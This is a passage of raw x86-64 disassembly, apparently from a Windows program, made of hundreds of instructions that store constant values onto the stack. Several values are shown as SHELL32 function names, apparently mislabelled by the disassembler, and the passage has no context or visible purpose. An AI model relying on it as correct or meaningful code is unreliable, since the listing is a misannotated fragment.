mov word [rsp + 0xd00], ax
movabs rax, 0x7999c52ffa13c7
mov qword [rsp + 0x78a0], rax
mov eax, 0x23
mov word [rsp + 0xd04], ax
mov dword [rsp + 0x3c60], 0x56977f5c
mov eax, 0xbf2
mov word [rsp + 0xd08], ax
movabs rax, 0x710e028ffa9fa2
mov qword [rsp + 0x78a8], rax
mov dword [rsp + 0x3c64], 0x2c03
movabs rax, 0x751b18b6e8ad3f
mov qword [rsp + 0x78b0], rax
mov eax, 0x899
mov word [rsp + 0xd0c], ax
mov eax, 0x375
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x3c68], 0x24ca6e97
movabs rax, 0x70afef879efbc1
mov qword [rsp + 0x78b8], rax
movabs rax, 0x7285679d016e37
mov qword [rsp + 0x78c0], rax
mov eax, 0xc10
mov word [rsp + 0xd14], ax
mov eax, 0x58e
mov word [rsp + 0xd18], ax
mov eax, 0x2ac
mov word [rsp + 0xd1c], ax
mov byte [rsp + 0x108], ILIsEqual
mov dword [rsp + 0x3c6c], 0xaac0
movabs rax, 0x77a2ad5043932c
mov qword [rsp + 0x78c8], rax
mov eax, 0xe86
mov word [rsp + 0xd20], ax
movabs rax, 0x744b3de228dacf
mov qword [rsp + 0x78d0], rax
mov eax, 0xb07
mov word [rsp + 0xd24], ax
mov byte [rsp + 0x109], 0x5c
mov dword [rsp + 0x3c70], 0x1b60
mov eax, 0xf42
mov word [rsp + 0xd28], ax
movabs rax, 0x7713a64ea54008
mov qword [rsp + 0x78d8], rax
mov eax, 0x5fd
mov word [rsp + 0xd2c], ax
movabs rax, 0x7b716f3859b55c
mov qword [rsp + 0x78e0], rax
movabs rax, 0x776fbb36c9bfaa
mov qword [rsp + 0x78e8], rax
mov byte [rsp + 0x10a], 0x50
movabs rax, 0x786652f4e74a9c
mov qword [rsp + 0x78f0], rax
movabs rax, 0x71e9aadf692b96
mov qword [rsp + 0x78f8], rax
movabs rax, 0x768088cf7a3f0e
mov qword [rsp + 0x7900], rax
mov eax, 0x772
mov word [rsp + 0xd30], ax
movabs rax, 0x7c4453dffaa888
mov qword [rsp + 0x7908], rax
movabs rax, 0x7514b1ab08fb3e
mov qword [rsp + 0x7910], rax
mov byte [rsp + 0x10b], 0x1e
mov eax, 0x14e
mov word [rsp + 0xd34], ax
mov byte [rsp + 0x10c], 0xf0
mov dword [rsp + 0x3c74], 0x67c7
movabs rax, 0x7e8f1e7fa9d79e
mov qword [rsp + 0x7918], rax
mov eax, 0xc72
mov word [rsp + 0xd38], ax
mov byte [rsp + 0x10d], 0x34
movabs rax, 0x7c7934ddd17cb7
mov qword [rsp + 0x7920], rax
mov byte [rsp + 0x10e], 0x77
movabs rax, 0x7d81d5176d5d5d
mov qword [rsp + 0x7928], rax
mov byte [rsp + 0x10f], 0x3c
movabs rax, 0x72fabc7910ca93
mov qword [rsp + 0x7930], rax
mov dword [rsp + 0x3c78], 0x4a1c
mov byte [rsp + 0x110], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x3c7c], 0x7a03
mov eax, 0x516
mov word [rsp + 0xd3c], ax
movabs rax, 0x781128e78e0fc2
mov qword [rsp + 0x7938], rax
mov byte [rsp + 0x111], 0x70
mov dword [rsp + 0x3c80], 0xafd7
mov byte [rsp + 0x112], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x78e6e73537d8cd
mov qword [rsp + 0x7940], rax
mov byte [rsp + 0x113], 0x3a
mov eax, 0x696
mov word [rsp + 0xd40], ax
mov eax, 0xbf8
mov word [rsp + 0xd44], ax
mov eax, 0xe65
mov word [rsp + 0xd48], ax
mov dword [rsp + 0x3c84], 0xa75c
mov byte [rsp + 0x114], 0x3c
mov eax, 0xd85
mov word [rsp + 0xd4c], ax
mov byte [rsp + 0x115], 0x2e
movabs rax, 0x794b479b0b1483
mov qword [rsp + 0x7948], rax
mov byte [rsp + 0x116], 0x27
mov eax, 0x4de
mov word [rsp + 0xd50], ax
mov dword [rsp + 0x3c88], 0x119159dd
mov byte [rsp + 0x117], 0xc9
mov byte [rsp + 0x118], 0x3f
mov byte [rsp + 0x119], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x3c8c], 0x10975c8d
movabs rax, 0x7688ded515c884
mov qword [rsp + 0x7950], rax
mov byte [rsp + 0x11a], 0x72
mov eax, 0x83c
mov word [rsp + 0xd54], ax
mov dword [rsp + 0x3c90], 0x5954a37a
mov eax, 0x6ae
mov word [rsp + 0xd58], ax
mov eax, 0x691
mov word [rsp + 0xd5c], ax
movabs rax, 0x7bb52fdf376999
mov qword [rsp + 0x7958], rax
mov byte [rsp + 0x11b], 0x40
mov byte [rsp + 0x11c], 0x60
movabs rax, 0x7a6e92994bac45
mov qword [rsp + 0x7960], rax
movabs rax, 0x7621877effe731
mov qword [rsp + 0x7968], rax
movabs rax, 0x79c1b2891312ea
mov qword [rsp + 0x7970], rax
movabs rax, 0x7af26484422254
mov qword [rsp + 0x7978], rax
mov eax, 0x1ba
mov word [rsp + 0xd60], ax
mov dword [rsp + 0x3c94], 0xd563
movabs rax, 0x79d0edb220531f
mov qword [rsp + 0x7980], rax
mov dword [rsp + 0x3c98], 0x3290199c
mov eax, 0x2e7
mov word [rsp + 0xd64], ax
mov byte [rsp + 0x11d], ILIsEqual
movabs rax, 0x7ee159ba45a601
mov qword [rsp + 0x7988], rax
movabs rax, 0x7906b514c0353f
mov qword [rsp + 0x7990], rax
mov eax, 0x66c
mov word [rsp + 0xd68], ax
mov byte [rsp + 0x11e], 0x1b
mov byte [rsp + 0x11f], SHDoDragDrop
mov eax, 0xa68
mov word [rsp + 0xd6c], ax
mov eax, 0x520
mov word [rsp + 0xd70], ax
movabs rax, 0x7e8ff4022914d6
mov qword [rsp + 0x7998], rax
movabs rax, 0x773dffc93fea85
mov qword [rsp + 0x79a0], rax
mov byte [rsp + 0x120], ILFindLastID
mov eax, 0xffa
mov word [rsp + 0xd74], ax
mov eax, 0x54f
mov word [rsp + 0xd78], ax
movabs rax, 0x7b6b4b19518498
mov qword [rsp + 0x79a8], rax
mov eax, 0x7f6
mov word [rsp + 0xd7c], ax
mov eax, 0x2c0
mov word [rsp + 0xd80], ax
mov eax, 0x128
mov word [rsp + 0xd84], ax
mov eax, 0xc75
mov word [rsp + 0xd88], ax
mov dword [rsp + 0x3c9c], 0x5f9d
movabs rax, 0x7ed969fb6e8bc0
mov qword [rsp + 0x79b0], rax
movabs rax, 0x7598bb441f2ac0
mov qword [rsp + 0x79b8], rax
mov eax, 0x104
mov word [rsp + 0xd8c], ax
movabs rax, 0x705ab8e893c1f3
mov qword [rsp + 0x79c0], rax
mov dword [rsp + 0x3ca0], 0xa983
mov dword [rsp + 0x3ca4], 0x1800379b
movabs rax, 0x776415106b6c2d
mov qword [rsp + 0x79c8], rax
mov dword [rsp + 0x3ca8], 0x528a
movabs rax, 0x78aaafc9deaf02
mov qword [rsp + 0x79d0], rax
mov eax, 0xb94
mov word [rsp + 0xd90], ax
mov byte [rsp + 0x121], 0x4e
movabs rax, 0x7624da30af9c9a
mov qword [rsp + 0x79d8], rax
movabs rax, 0x79b9052de7202c
mov qword [rsp + 0x79e0], rax
movabs rax, 0x78613ff6045545
mov qword [rsp + 0x79e8], rax
movabs rax, 0x7726f77e5cf9a8
mov qword [rsp + 0x79f0], rax
mov eax, 0xdac
mov word [rsp + 0xd94], ax
mov byte [rsp + 0x122], PathYetAnotherMakeUniqueName
mov eax, 0x6c1
mov word [rsp + 0xd98], ax
mov dword [rsp + 0x3cac], 0xf28d
mov byte [rsp + 0x123], SHDoDragDrop
movabs rax, 0x7a873e646535f4
mov qword [rsp + 0x79f8], rax
mov dword [rsp + 0x3cb0], 0x5f12
movabs rax, 0x70bada12b3570a
mov qword [rsp + 0x7a00], rax
movabs rax, 0x7b3a9a9a825fff
mov qword [rsp + 0x7a08], rax
mov byte [rsp + 0x124], 0x35
mov dword [rsp + 0x3cb4], 0x358fc591
mov byte [rsp + 0x125], 0x2a
movabs rax, 0x7bf5eabe889b1e
mov qword [rsp + 0x7a10], rax
mov dword [rsp + 0x3cb8], 0x7c98
movabs rax, 0x7a53412d59de06
mov qword [rsp + 0x7a18], rax
movabs rax, 0x7bc90b90d05a0e
mov qword [rsp + 0x7a20], rax
mov eax, 0x28
mov word [rsp + 0xd9c], ax
movabs rax, 0x764a005fc24e6d
mov qword [rsp + 0x7a28], rax
mov eax, 0xc2
mov word [rsp + 0xda0], ax
mov dword [rsp + 0x3cbc], 0xb89b
mov byte [rsp + 0x126], 0x34
mov eax, 0x74c
mov word [rsp + 0xda4], ax
movabs rax, 0x764827639e3b82
mov qword [rsp + 0x7a30], rax
mov eax, 0x179
mov word [rsp + 0xda8], ax
movabs rax, 0x777cc7ae766039
mov qword [rsp + 0x7a38], rax
movabs rax, 0x791c74a692891a
mov qword [rsp + 0x7a40], rax
mov dword [rsp + 0x3cc0], 0x4d183778
movabs rax, 0x73451899bdc9b8
mov qword [rsp + 0x7a48], rax
movabs rax, 0x7e9d06f8249295
mov qword [rsp + 0x7a50], rax
mov dword [rsp + 0x3cc4], 0x6d6a653c
mov eax, 0x7fd
mov word [rsp + 0xdac], ax
mov eax, 0x595
mov word [rsp + 0xdb0], ax
movabs rax, 0x750fd42ba98215
mov qword [rsp + 0x7a58], rax
mov eax, 0x3d7
mov word [rsp + 0xdb4], ax
mov dword [rsp + 0x3cc8], 0x73b6
mov byte [rsp + reloc.SHELL32.dll_ILClone7], 0x12
mov byte [rsp + 0x128], 0x73
mov eax, 0x786
mov word [rsp + 0xdb8], ax
mov dword [rsp + 0x3ccc], 0x8cb7
mov dword [rsp + 0x3cd0], 0xf78a
mov dword [rsp + 0x3cd4], 0xe71c
mov eax, 0x4f3
mov word [rsp + 0xdbc], ax
movabs rax, 0x72861913ef7be7
mov qword [rsp + 0x7a60], rax
mov byte [rsp + 0x129], 0x19
mov byte [rsp + 0x12a], 0x2d
mov eax, 0x2b8
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x3cd8], 0x61bfc1ae
mov eax, 0x2f9
mov word [rsp + 0xdc4], ax
mov eax, 0x183
mov word [rsp + 0xdc8], ax
mov eax, 0x586
mov word [rsp + 0xdcc], ax
mov eax, 0x28d
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0x12b], ILIsEqual
mov eax, 0x369
mov word [rsp + 0xdd4], ax
mov byte [rsp + 0x12c], 0x4d
mov eax, 0xa7
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x3cdc], 0x63771f95
movabs rax, 0x71682b35802359
mov qword [rsp + 0x7a68], rax
mov eax, 0x245
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x3ce0], 0x57aa
mov eax, 0x5ad
mov word [rsp + 0xde0], ax
mov eax, 0x775
mov word [rsp + 0xde4], ax
movabs rax, 0x7e96551932d64b
mov qword [rsp + 0x7a70], rax
movabs rax, 0x71e6a6c78abb64
mov qword [rsp + 0x7a78], rax
mov eax, 0xe7
mov word [rsp + 0xde8], ax
mov dword [rsp + 0x3ce4], 0x5906011b
mov byte [rsp + 0x12d], 0x28
mov eax, 0x5f4
mov word [rsp + 0xdec], ax
mov eax, 0xa4e
mov word [rsp + 0xdf0], ax
mov dword [rsp + 0x3ce8], 0x6028759a
mov byte [rsp + 0x12e], SHDoDragDrop
movabs rax, 0x74784b737d318f
mov qword [rsp + 0x7a80], rax
mov eax, 0x64d
mov word [rsp + 0xdf4], ax
mov eax, 0x675
mov word [rsp + 0xdf8], ax
movabs rax, 0x7171f4b9e10d6a
mov qword [rsp + 0x7a88], rax
movabs rax, 0x7d9e3258703e6a
mov qword [rsp + 0x7a90], rax
mov byte [rsp + 0x12f], 0x20
mov byte [rsp + 0x130], 0x59
mov dword [rsp + 0x3cec], 0xe527
mov byte [rsp + 0x131], 0x1f
mov eax, 0xb7d
mov word [rsp + 0xdfc], ax
mov dword [rsp + 0x3cf0], 0x73c8
mov eax, 0xe6a
mov word [rsp + 0xe00], ax
movabs rax, 0x713bb6ddbccbee
mov qword [rsp + 0x7a98], rax
movabs rax, 0x76c3c43c0bef1b
mov qword [rsp + 0x7aa0], rax
mov eax, 0xb76
mov word [rsp + 0xe04], ax
mov eax, 0xb14
mov word [rsp + 0xe08], ax
mov byte [rsp + 0x132], 0x69
movabs rax, 0x705679921c386f
mov qword [rsp + 0x7aa8], rax
mov byte [rsp + 0x133], 0x33
mov dword [rsp + 0x3cf4], 0x49574624
mov dword [rsp + 0x3cf8], 0x49277f8
mov eax, 0x3d8
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x3cfc], 0xe10e
mov byte [rsp + 0x134], 0x69
mov eax, 0x4bc
mov word [rsp + 0xe10], ax
movabs rax, 0x723d7e2c046cab
mov qword [rsp + 0x7ab0], rax
mov dword [rsp + 0x3d00], 0x23b7
mov eax, 0x210
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x3d04], 0xfe6d
mov byte [rsp + 0x135], 0xcf
mov eax, 0x76d
mov word [rsp + 0xe18], ax
movabs rax, 0x7e8c84a70a90d4
mov qword [rsp + 0x7ab8], rax
mov eax, 0x20e
mov word [rsp + 0xe1c], ax
mov eax, 0xa0c
mov word [rsp + 0xe20], ax
movabs rax, 0x7c05f92da1646f
mov qword [rsp + 0x7ac0], rax
movabs rax, 0x7e5f2c8b4b0924
mov qword [rsp + 0x7ac8], rax
movabs rax, 0x76f09c14207005
mov qword [rsp + 0x7ad0], rax
mov dword [rsp + 0x3d08], 0x752f
movabs rax, 0x76723cd5be12be
mov qword [rsp + 0x7ad8], rax
mov byte [rsp + 0x136], reloc.SHELL32.dll_ILIsEqual
mov eax, 0xb8
mov word [rsp + 0xe24], ax
mov eax, 0xa1f
mov word [rsp + 0xe28], ax
mov dword [rsp + 0x3d0c], 0x31c4
movabs rax, 0x770b3e3e6369a6
mov qword [rsp + 0x7ae0], rax
mov eax, 0x46d
mov word [rsp + 0xe2c], ax
mov eax, 0x52b
mov word [rsp + 0xe30], ax
mov dword [rsp + 0x3d10], 0x6191
mov dword [rsp + 0x3d14], 0xfed
mov dword [rsp + 0x3d18], 0x50a7c19c
mov eax, 0x3d1
mov word [rsp + 0xe34], ax
movabs rax, 0x777474e72ca55c
mov qword [rsp + 0x7ae8], rax
mov eax, 0x3a2
mov word [rsp + 0xe38], ax
mov eax, ILIsEqual
mov word [rsp + 0xe3c], ax
movabs rax, 0x77d89fbb9ebf90
mov qword [rsp + 0x7af0], rax
mov dword [rsp + 0x3d1c], 0x823d
movabs rax, 0x715ed93faa8288
mov qword [rsp + 0x7af8], rax
movabs rax, 0x73224f3046f853
mov qword [rsp + 0x7b00], rax
movabs rax, 0x706dab1b54402c
mov qword [rsp + 0x7b08], rax
mov eax, 0x9b1
mov word [rsp + 0xe40], ax
mov dword [rsp + 0x3d20], 0x9f3c
mov eax, 0x309
mov word [rsp + 0xe44], ax
movabs rax, 0x77abb6ea792b13
mov qword [rsp + 0x7b10], rax
mov byte [rsp + 0x137], ILFindLastID
mov byte [rsp + 0x138], 0xcf
mov byte [rsp + 0x139], 0x5e
movabs rax, 0x7125f78749603b
mov qword [rsp + 0x7b18], rax
movabs rax, 0x7b139a85dcfb9e
mov qword [rsp + 0x7b20], rax
mov byte [rsp + 0x13a], 0x61
mov eax, 0xf49
mov word [rsp + 0xe48], ax
mov dword [rsp + 0x3d24], 0x6f4a
mov eax, 0xbc0
mov word [rsp + 0xe4c], ax
mov eax, 0x2fc
mov word [rsp + 0xe50], ax
mov dword [rsp + 0x3d28], 0xea37
mov eax, 0x739
mov word [rsp + 0xe54], ax
movabs rax, 0x79b4900ef92c1c
mov qword [rsp + 0x7b28], rax
movabs rax, 0x75eb966e3efc9a
mov qword [rsp + 0x7b30], rax
mov eax, 0x3d7
mov word [rsp + 0xe58], ax
mov byte [rsp + 0x13b], 0xfd
mov eax, 0x647
mov word [rsp + 0xe5c], ax
movabs rax, 0x71604f95654fde
mov qword [rsp + 0x7b38], rax
mov eax, 0x3bb
mov word [rsp + 0xe60], ax
mov byte [rsp + 0x13c], reloc.SHELL32.dll_SHSetInstanceExplorer
movabs rax, 0x74093e9c62e1ca
mov qword [rsp + 0x7b40], rax
movabs rax, 0x7b01eeed202f87
mov qword [rsp + 0x7b48], rax
mov dword [rsp + 0x3d2c], 0x71c
mov byte [rsp + 0x13d], 0x76
movabs rax, 0x7bfea2ceb1dabe
mov qword [rsp + 0x7b50], rax
movabs rax, 0x79366f332e3b2e
mov qword [rsp + 0x7b58], rax
mov byte [rsp + 0x13e], 0x32
mov dword [rsp + 0x3d30], 0x42cc
mov eax, 0x3c5
mov word [rsp + 0xe64], ax
mov dword [rsp + 0x3d34], 0x8db5
mov eax, 0x51a
mov word [rsp + 0xe68], ax
mov byte [rsp + 0x13f], 0x6c
mov eax, 0x8b9
mov word [rsp + 0xe6c], ax
mov byte [rsp + 0x140], 0x6d
mov byte [rsp + 0x141], 0x36
mov eax, 0x76e
mov word [rsp + 0xe70], ax
mov byte [rsp + 0x142], 0x5e
mov byte [rsp + 0x143], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x144], 0x29
mov eax, 0x3a
mov word [rsp + 0xe74], ax
mov eax, 0xeac
mov word [rsp + 0xe78], ax
mov byte [rsp + 0x145], 0x1e
mov dword [rsp + 0x3d38], 0x18c6c585
movabs rax, 0x7e9827f3ca5580
mov qword [rsp + 0x7b60], rax
mov byte [rsp + 0x146], 7
mov byte [rsp + 0x147], 0x7a
mov eax, 0x6fd
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x3d3c], 0xa829
movabs rax, 0x7c3f68c0667717
mov qword [rsp + 0x7b68], rax
mov dword [rsp + 0x3d40], 0x90e5
mov eax, 0x85e
mov word [rsp + 0xe80], ax
mov byte [rsp + 0x148], 0x60
mov dword [rsp + 0x3d44], 0x9eaa
mov dword [rsp + 0x3d48], 0x3d096d52
movabs rax, 0x7a053afb202314
mov qword [rsp + 0x7b70], rax
mov eax, 0x5ad
mov word [rsp + 0xe84], ax
mov eax, 0x7df
mov word [rsp + 0xe88], ax
movabs rax, 0x7159309f48927c
mov qword [rsp + 0x7b78], rax
movabs rax, 0x7ed78a71bdaf5e
mov qword [rsp + 0x7b80], rax
mov eax, 0x191
mov word [rsp + 0xe8c], ax
mov dword [rsp + 0x3d4c], 0x35ebfca3
mov dword [rsp + 0x3d50], 0x5fd2
mov eax, 0x7b9
mov word [rsp + 0xe90], ax
mov eax, 0x4fe
mov word [rsp + 0xe94], ax
mov eax, 0x399
mov word [rsp + 0xe98], ax
mov eax, 0x4b2
mov word [rsp + 0xe9c], ax
movabs rax, 0x77d69011320284
mov qword [rsp + 0x7b88], rax
mov byte [rsp + 0x149], 3
mov dword [rsp + 0x3d54], 0x494fc195
movabs rax, 0x7cb3549c8fc748
mov qword [rsp + 0x7b90], rax
mov eax, 0xe7
mov word [rsp + 0xea0], ax
mov dword [rsp + 0x3d58], 0x5b84
mov eax, 0x378
mov word [rsp + 0xea4], ax
mov dword [rsp + 0x3d5c], 0xff74
movabs rax, 0x7c16bad2af1411
mov qword [rsp + 0x7b98], rax
mov byte [rsp + 0x14a], 0x78
mov eax, 0x400
mov word [rsp + 0xea8], ax
mov byte [rsp + 0x14b], ILIsEqual
mov eax, SHChangeNotification_Lock
mov word [rsp + 0xeac], ax
mov eax, 0x71b
mov word [rsp + 0xeb0], ax
mov dword [rsp + 0x3d60], 0xd096
mov eax, 0xdfe
mov word [rsp + 0xeb4], ax
movabs rax, 0x7ec27b40cddccd
mov qword [rsp + 0x7ba0], rax
movabs rax, 0x75fe9b2c3c6c20
mov qword [rsp + 0x7ba8], rax
movabs rax, 0x76efbbce6e4493
mov qword [rsp + 0x7bb0], rax
mov eax, 0x6c5
mov word [rsp + 0xeb8], ax
movabs rax, 0x727b006f3aaf2b
mov qword [rsp + 0x7bb8], rax
mov eax, 0x3fa
mov word [rsp + 0xebc], ax
movabs rax, 0x7c920617d2fe6d
mov qword [rsp + 0x7bc0], rax
mov eax, 0x7ad
mov word [rsp + 0xec0], ax
mov eax, 0x561
mov word [rsp + 0xec4], ax
mov eax, 0x417
mov word [rsp + 0xec8], ax
mov dword [rsp + 0x3d64], 0x966f
mov eax, 0x231
mov word [rsp + 0xecc], ax
mov byte [rsp + 0x14c], 0x9f
mov dword [rsp + 0x3d68], 0x66043dd0
mov byte [rsp + 0x14d], 0x37
mov eax, 0xfec
mov word [rsp + 0xed0], ax
movabs rax, 0x74ed7fb52de3cd
mov qword [rsp + 0x7bc8], rax
mov eax, 0xdb3
mov word [rsp + 0xed4], ax
movabs rax, 0x7409e94a2999f1
mov qword [rsp + 0x7bd0], rax
mov byte [rsp + 0x14e], 0x5b
movabs rax, 0x79eaa15e8c93e7
mov qword [rsp + 0x7bd8], rax
mov byte [rsp + 0x14f], 0x18
mov byte [rsp + 0x150], 1
mov byte [rsp + 0x151], SHDoDragDrop
mov eax, 0x616
mov word [rsp + 0xed8], ax
movabs rax, 0x7d382c83e5cd71
mov qword [rsp + 0x7be0], rax
mov dword [rsp + 0x3d6c], 0x8e8
mov eax, 0x2a3
mov word [rsp + 0xedc], ax
mov dword [rsp + 0x3d70], 0x6f8503cb
mov eax, 0x116
mov word [rsp + 0xee0], ax
mov eax, 0x10a
mov word [rsp + 0xee4], ax
mov dword [rsp + 0x3d74], 0xf994
mov eax, 0x3e4
mov word [rsp + 0xee8], ax
mov eax, 0xdd1
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x3d78], 0x699d9e6
mov byte [rsp + 0x152], 0x7d
movabs rax, 0x7cc3b909d39f10
mov qword [rsp + 0x7be8], rax
movabs rax, 0x76bf4974ceb3d8
mov qword [rsp + 0x7bf0], rax
mov eax, 0x164
mov word [rsp + 0xef0], ax
movabs rax, 0x77c1830715b119
mov qword [rsp + 0x7bf8], rax
mov byte [rsp + 0x153], 0x59
movabs rax, 0x707701784f4d8e
mov qword [rsp + 0x7c00], rax
mov eax, 0x2c3
mov word [rsp + 0xef4], ax
mov eax, 0x795
mov word [rsp + 0xef8], ax
mov eax, 0x610
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x3d7c], 0x326b
mov dword [rsp + 0x3d80], 0xc669
mov dword [rsp + 0x3d84], 0x2be96250
mov byte [rsp + 0x154], 0x2d
mov eax, 0xd12
mov word [rsp + 0xf00], ax
mov eax, 0x69f
mov word [rsp + 0xf04], ax
mov eax, 0x350
mov word [rsp + 0xf08], ax
mov byte [rsp + 0x155], 0x9a
mov eax, 0x24b
mov word [rsp + 0xf0c], ax
movabs rax, 0x7050059299773c
mov qword [rsp + 0x7c08], rax
mov dword [rsp + 0x3d88], 0x18b8
mov dword [rsp + 0x3d8c], 0x308d
mov dword [rsp + 0x3d90], 0x78989601
movabs rax, 0x784f66e9f66433
mov qword [rsp + 0x7c10], rax
movabs rax, 0x70d7cecb69ab1f
mov qword [rsp + 0x7c18], rax
mov eax, 0x9f
mov word [rsp + 0xf10], ax
mov byte [rsp + 0x156], 0x3c
mov dword [rsp + 0x3d94], 0x17379772
mov eax, 0xc6
mov word [rsp + 0xf14], ax
movabs rax, 0x7333b7bf54a8ae
mov qword [rsp + 0x7c20], rax
mov dword [rsp + 0x3d98], 0x2c3e
movabs rax, 0x754d4e45293a5b
mov qword [rsp + 0x7c28], rax
mov dword [rsp + 0x3d9c], 0x721e
mov eax, 0x633
mov word [rsp + 0xf18], ax
mov byte [rsp + 0x157], 0xa4
mov eax, 0x123
mov word [rsp + 0xf1c], ax
mov eax, 0x777
mov word [rsp + 0xf20], ax
mov eax, 9
mov word [rsp + 0xf24], ax
movabs rax, 0x743aeb9231a0be
mov qword [rsp + 0x7c30], rax
movabs rax, 0x74cf8a1720327d
mov qword [rsp + 0x7c38], rax
mov eax, 0x73c
mov word [rsp + 0xf28], ax
mov byte [rsp + 0x158], 0x31
mov byte [rsp + 0x159], 0x66
movabs rax, 0x74dbdb462e6087
mov qword [rsp + 0x7c40], rax
mov eax, 0x9a2
mov word [rsp + 0xf2c], ax
mov eax, 0x111
mov word [rsp + 0xf30], ax
movabs rax, 0x7c97e7342991ac
mov qword [rsp + 0x7c48], rax
mov dword [rsp + 0x3da0], 0xa38a
movabs rax, 0x750baf3c31059c
mov qword [rsp + 0x7c50], rax
mov eax, 0x4ed
mov word [rsp + 0xf34], ax
movabs rax, 0x77b8f1e29785f3
mov qword [rsp + 0x7c58], rax
movabs rax, 0x76e62f0bf92607
mov qword [rsp + 0x7c60], rax
movabs rax, 0x77f4038f5e450d
mov qword [rsp + 0x7c68], rax
movabs rax, 0x7ed0170ebfc4e8
mov qword [rsp + 0x7c70], rax
mov byte [rsp + 0x15a], 0x5f
mov byte [rsp + 0x15b], SHSetInstanceExplorer
mov dword [rsp + 0x3da4], 0xa4b6
mov dword [rsp + 0x3da8], 0xd93b
movabs rax, 0x729dda31ea4b18
mov qword [rsp + 0x7c78], rax
mov dword [rsp + 0x3dac], 0xc2ee
mov eax, 0x45e
mov word [rsp + 0xf38], ax
movabs rax, 0x71e5e652db63da
mov qword [rsp + 0x7c80], rax
mov dword [rsp + 0x3db0], 0x413df06e
mov eax, 0xa22
mov word [rsp + 0xf3c], ax
movabs rax, 0x790b289a87b45b
mov qword [rsp + 0x7c88], rax
mov dword [rsp + 0x3db4], 0x7144a909
movabs rax, 0x71059ed8516249
mov qword [rsp + 0x7c90], rax
mov byte [rsp + 0x15c], 7
mov byte [rsp + 0x15d], 0x2e
mov dword [rsp + 0x3db8], 0x619df6fe
mov dword [rsp + 0x3dbc], 0x4c19
mov eax, 0x9ac
mov word [rsp + 0xf40], ax
mov eax, 0x500
mov word [rsp + 0xf44], ax
movabs rax, 0x7bf168bcfc8d1a
mov qword [rsp + 0x7c98], rax
movabs rax, 0x7b026faf08b94f
mov qword [rsp + 0x7ca0], rax
mov eax, 0x34f
mov word [rsp + 0xf48], ax
mov byte [rsp + 0x15e], ILIsParent
movabs rax, 0x7415184934c9b7
mov qword [rsp + 0x7ca8], rax
mov byte [rsp + 0x15f], 0x5a
mov eax, 0x268
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x3dc0], 0xf331
mov dword [rsp + 0x3dc4], 0x7f3e10ae
mov byte [rsp + 0x160], 0x2f
mov eax, 0x722
mov word [rsp + 0xf50], ax
movabs rax, 0x7aa09d2df98677
mov qword [rsp + 0x7cb0], rax
movabs rax, 0x729f4c19b3787c
mov qword [rsp + 0x7cb8], rax
mov byte [rsp + 0x161], 0x5c
mov eax, 0x6c2
mov word [rsp + 0xf54], ax
mov dword [rsp + 0x3dc8], 0x7c8e9b80
mov eax, 0x31a
mov word [rsp + 0xf58], ax
movabs rax, 0x760b6a73f25908
mov qword [rsp + 0x7cc0], rax
mov dword [rsp + 0x3dcc], 0x319da241
mov eax, 0x226
mov word [rsp + 0xf5c], ax
mov byte [rsp + 0x162], 0x7e
mov eax, 0x509
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x3dd0], 0xe8e3
mov eax, 0x1f8
mov word [rsp + 0xf64], ax
mov eax, 0x65a
mov word [rsp + 0xf68], ax
movabs rax, 0x7a2f917d055eda
mov qword [rsp + 0x7cc8], rax
movabs rax, 0x7ea2d70bc5cdfa
mov qword [rsp + 0x7cd0], rax
mov byte [rsp + 0x163], 0x6f
mov eax, 0x165
mov word [rsp + 0xf6c], ax
mov eax, 0x48f
mov word [rsp + 0xf70], ax
movabs rax, 0x70458df7ec6538
mov qword [rsp + 0x7cd8], rax
mov eax, 0x4d
mov word [rsp + 0xf74], ax
mov eax, 0x7ea
mov word [rsp + 0xf78], ax
movabs rax, 0x786bd8eff596da
mov qword [rsp + 0x7ce0], rax
movabs rax, 0x783755368fa2c7
mov qword [rsp + 0x7ce8], rax
movabs rax, 0x785515c23cddc1
mov qword [rsp + 0x7cf0], rax
mov eax, 0xe4b
mov word [rsp + 0xf7c], ax
movabs rax, 0x78a92bbcc50639
mov qword [rsp + 0x7cf8], rax
movabs rax, 0x7e607b4da7123e
mov qword [rsp + 0x7d00], rax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0xf80], ax
movabs rax, 0x770990edc6fbf1
mov qword [rsp + 0x7d08], rax
mov dword [rsp + 0x3dd4], 0x855e
movabs rax, 0x7721688fa4afcb
mov qword [rsp + 0x7d10], rax
movabs rax, 0x7dd6feccb7c827
mov qword [rsp + 0x7d18], rax
mov eax, 0x463
mov word [rsp + 0xf84], ax
mov eax, 0x477
mov word [rsp + 0xf88], ax
mov eax, 0x5c
mov word [rsp + 0xf8c], ax
movabs rax, 0x7c2069d6086348
mov qword [rsp + 0x7d20], rax
movabs rax, 0x78f26fdef30d24
mov qword [rsp + 0x7d28], rax
mov byte [rsp + 0x164], 0x67
mov byte [rsp + 0x165], 0xd5
movabs rax, 0x76789a76412a1d
mov qword [rsp + 0x7d30], rax
mov dword [rsp + 0x3dd8], 0xa7b6
mov eax, 0x53e
mov word [rsp + 0xf90], ax
mov dword [rsp + 0x3ddc], 0x295db0af
mov eax, 0xb5e
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x3de0], 0xd8f1
mov eax, 0xdf4
mov word [rsp + 0xf98], ax
movabs rax, 0x75bc13443d31be
mov qword [rsp + 0x7d38], rax
movabs rax, 0x7128f35615504a
mov qword [rsp + 0x7d40], rax
movabs rax, 0x716ab60a8b1b0e
mov qword [rsp + 0x7d48], rax
movabs rax, 0x704bb8a748a676
mov qword [rsp + 0x7d50], rax
mov eax, 0xfe8
mov word [rsp + 0xf9c], ax
mov byte [rsp + 0x166], 0x8f
mov eax, 0xd81
mov word [rsp + 0xfa0], ax
mov eax, 0x3d5
mov word [rsp + 0xfa4], ax
mov eax, 0x17b
mov word [rsp + 0xfa8], ax
mov eax, 0x98a
